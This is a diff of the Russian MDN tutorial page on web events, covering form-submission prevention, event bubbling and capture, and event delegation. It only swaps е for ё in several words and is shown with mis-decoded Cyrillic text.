-<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ Π½Π΅ΠΌΡƒ):</p>
+<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΏΠΎ Π½Π΅ΠΌΡƒ):</p>
<div class="hidden">
<h6 id="Hidden_example">Hidden example</h6>
@@ -334,7 +334,7 @@ for (var i = 0; i &lt; divs.length; i++) {
<h3 id="ΠŸΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅_повСдСния_ΠΏΠΎ_ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ">Β  Β  ΠŸΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ повСдСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</h3>
-<p>Иногда Π±Ρ‹Π²Π°ΡŽΡ‚Β ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΠ³Π΄Π° Π½ΡƒΠΆΠ½ΠΎ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ событиС, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰Π΅Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. НаиболСС распространСнным ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ являСтся Π²Π΅Π±-Ρ„ΠΎΡ€ΠΌΠ°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠ°Ρ Ρ„ΠΎΡ€ΠΌΠ° рСгистрации. Когда Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ, СстСствСнноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ страницу Π½Π° сСрвСрС для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π° браузСр пСрСнаправляСтся Π½Π° страницу с сообщСниСм ΠΎΠ± успСхС (ΠΈΠ»ΠΈ ΠΎΡΡ‚Π°Ρ‚ΡŒΡΡ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ страницС, Ссли Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ).</p>
+<p>Иногда Π±Ρ‹Π²Π°ΡŽΡ‚Β ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΠ³Π΄Π° Π½ΡƒΠΆΠ½ΠΎ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ событиС, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰Π΅Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. НаиболСС распространённым ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ являСтся Π²Π΅Π±-Ρ„ΠΎΡ€ΠΌΠ°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠ°Ρ Ρ„ΠΎΡ€ΠΌΠ° рСгистрации. Когда Π²Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ, СстСствСнноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ страницу Π½Π° сСрвСрС для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π° браузСр пСрСнаправляСтся Π½Π° страницу с сообщСниСм ΠΎΠ± успСхС (ΠΈΠ»ΠΈ ΠΎΡΡ‚Π°Ρ‚ΡŒΡΡ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ страницС, Ссли Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ).</p>
<p>Но Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ» Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Π½Π° сСрвСр ΠΈ Π²Ρ‹Π΄Π°Ρ‚ΡŒ сообщСниС ΠΎΠ± ошибкС с ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½Π΅ Ρ‚Π°ΠΊΒ ΠΈ Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. НСкоторыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ автоматичСской ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹, Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ этого Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚, Π²Π°ΠΌ Π½Π΅ слСдуСт ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° Π½ΠΈΡ… ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ свои собствСнныС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
@@ -377,7 +377,7 @@ form.onsubmit = function(e) {
}
}</pre>
-<p>ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это довольно слабая ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹ - это Π½Π΅ ΠΏΠΎΠΌΠ΅ΡˆΠ°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ с ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΈΠ»ΠΈ Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌΠΈ Π² поля,Β Π½ΠΎ для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚. Π’Ρ‹Π²ΠΎΠ΄ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это довольно слабая ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹ - это Π½Π΅ ΠΏΠΎΠΌΠ΅ΡˆΠ°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ с ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΈΠ»ΠΈ Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π² поля,Β Π½ΠΎ для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚. Π’Ρ‹Π²ΠΎΠ΄ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<p>{{ EmbedLiveSample('ΠŸΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅_повСдСния_ΠΏΠΎ_ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ', '100%', 140) }}</p>
@@ -387,7 +387,7 @@ form.onsubmit = function(e) {
<h3 id="ВсплытиС_ΠΈ_ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚_событий">ВсплытиС ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ событий</h3>
-<p>ПослСдним ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠΌ для рассмотрСния Π² этой Ρ‚Π΅ΠΌΠ΅ являСтся Ρ‚ΠΎ, с Ρ‡Π΅ΠΌ Π²Ρ‹ Π½Π΅ часто Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ, Π½ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ настоящСй Π³ΠΎΠ»ΠΎΠ²Π½ΠΎΠΉ болью, Ссли Π²Ρ‹Β Π½Π΅ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ. <em>ВсплытиС</em> ΠΈ <em>ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ событий</em> β€”Β Π΄Π²Π° ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ°, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ…, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π΄Π²Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ТС события Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΌ элСмСнтС. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΡ€ΠΎΡ‰Π΅ β€” ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html">show-video-box.html</a> Π² ΠΎΠ΄Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">исходный ΠΊΠΎΠ΄ </a>Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅. Он Ρ‚Π°ΠΊΠΆΠ΅ прСдставлСн Π½ΠΈΠΆΠ΅:</p>
+<p>ПослСдним ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠΌ для рассмотрСния Π² этой Ρ‚Π΅ΠΌΠ΅ являСтся Ρ‚ΠΎ, с Ρ‡Π΅ΠΌ Π²Ρ‹ Π½Π΅ часто Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ, Π½ΠΎ это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ настоящСй Π³ΠΎΠ»ΠΎΠ²Π½ΠΎΠΉ болью, Ссли Π²Ρ‹Β Π½Π΅ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ. <em>ВсплытиС</em> ΠΈ <em>ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ событий</em> β€”Β Π΄Π²Π° ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ°, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ…, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π΄Π²Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ТС события Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΌ элСмСнтС. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΡ€ΠΎΡ‰Π΅ β€” ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html">show-video-box.html</a> Π² ΠΎΠ΄Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">исходный ΠΊΠΎΠ΄ </a>Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅. Он Ρ‚Π°ΠΊΠΆΠ΅ прСдставлСн Π½ΠΈΠΆΠ΅:</p>
<div class="hidden">
<h6 id="Hidden_video_example">Hidden video example</h6>
@@ -499,7 +499,7 @@ btn.onclick = function() {
videoBox.setAttribute('class', 'showing');
}</pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ добавляСм Π΅Ρ‰Π΅ ΠΏΠ°Ρ€Ρƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий <code>onclick.</code>Β ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊ <code>&lt;div&gt;</code>, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉΒ ΠΊ <code>&lt;video&gt;</code>. ИдСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Ρ‰Π΅Π»Ρ‡ΠΊΠ΅ ΠΏΠΎ области <code>&lt;div&gt;</code> Π²Π½Π΅ Π·ΠΎΠ½Ρ‹ Π²ΠΈΠ΄Π΅ΠΎ полС снова ΡΠΊΡ€Ρ‹Π»ΠΎΡΡŒ, Π° ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ Π² области <code>&lt;video&gt;</code>Β Β Π²ΠΈΠ΄Π΅ΠΎ Π½Π°Ρ‡Π°Π»ΠΎΒ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ добавляСм Π΅Ρ‰Ρ‘ ΠΏΠ°Ρ€Ρƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий <code>onclick.</code>Β ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊ <code>&lt;div&gt;</code>, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉΒ ΠΊ <code>&lt;video&gt;</code>. ИдСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Ρ‰Π΅Π»Ρ‡ΠΊΠ΅ ΠΏΠΎ области <code>&lt;div&gt;</code> Π²Π½Π΅ Π·ΠΎΠ½Ρ‹ Π²ΠΈΠ΄Π΅ΠΎ полС снова ΡΠΊΡ€Ρ‹Π»ΠΎΡΡŒ, Π° ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ Π² области <code>&lt;video&gt;</code>Β Β Π²ΠΈΠ΄Π΅ΠΎ Π½Π°Ρ‡Π°Π»ΠΎΒ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ.</p>
<pre class="brush: js notranslate">var videoBox = document.querySelector('div');
var video = document.querySelector('video');
@@ -564,17 +564,17 @@ video.onclick = function() {
<h4 id="Π”Π΅Π»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_события"><strong>Π”Π΅Π»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</strong> события</h4>
-<p>ВсплытиС Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π½Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <strong>Π΄Π΅Π»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ событий.Β </strong> Если Ρƒ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта Π΅ΡΡ‚ΡŒ мноТСство Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов, ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ выполнялся ΠΏΡ€ΠΈ Ρ‰Π΅Π»Ρ‡ΠΊΠ΅ (событии) Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов, ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π° Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС ΠΈ события, происходящиС Π½Π° Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтах Π±ΡƒΠ΄ΡƒΡ‚ Π²ΡΠΏΠ»Ρ‹Π²Π°Ρ‚ΡŒ Π΄ΠΎ ΠΈΡ… родитСля. ΠŸΡ€ΠΈ этом Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅ΠΌ элСмСнтС.</p>
+<p>ВсплытиС Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π½Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <strong>Π΄Π΅Π»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ событий.Β </strong> Если Ρƒ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта Π΅ΡΡ‚ΡŒ мноТСство Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов, ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ выполнялся ΠΏΡ€ΠΈ Ρ‰Π΅Π»Ρ‡ΠΊΠ΅ (событии) Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов, ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π° Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС ΠΈ события, происходящиС Π½Π° Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтах Π±ΡƒΠ΄ΡƒΡ‚ Π²ΡΠΏΠ»Ρ‹Π²Π°Ρ‚ΡŒ Π΄ΠΎ ΠΈΡ… родитСля. ΠŸΡ€ΠΈ этом Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅ΠΌ элСмСнтС.</p>
<p>Π₯ΠΎΡ€ΠΎΡˆΠΈΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ являСтся сСрия элСмСнтов списка. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π» сообщСниС ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <code>click</code> для Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта <code>&lt;ul&gt;</code> ΠΈ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΡΠΏΠ»Ρ‹Π²Π°Ρ‚ΡŒΒ Π² элСмСнтах списка.</p>
-<p>Π­Ρ‚ΡƒΒ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ Π² своСм блогС Π”ΡΠ²ΠΈΠ΄Β Π£ΠΎΠ»Ρˆ, Π³Π΄Π΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².Β (см. <a href="https://davidwalsh.name/event-delegate">How JavaScript Event Delegation Works</a>.)</p>
+<p>Π­Ρ‚ΡƒΒ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ Π² своём блогС Π”ΡΠ²ΠΈΠ΄Β Π£ΠΎΠ»Ρˆ, Π³Π΄Π΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².Β (см. <a href="https://davidwalsh.name/event-delegate">How JavaScript Event Delegation Works</a>.)</p>
<h2 id="Π’Ρ‹Π²ΠΎΠ΄">Π’Ρ‹Π²ΠΎΠ΄</h2>
<p>Π­Ρ‚ΠΎ всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ Π²Π΅Π±-событиях Π½Π° этом этапС. Как ΡƒΠΆΠ΅ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ, события Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ основного JavaScript β€” ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² Π²Π΅Π±-интСрфСйсах Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (<a href="/ru/docs/Web/API">Web API</a>).</p>
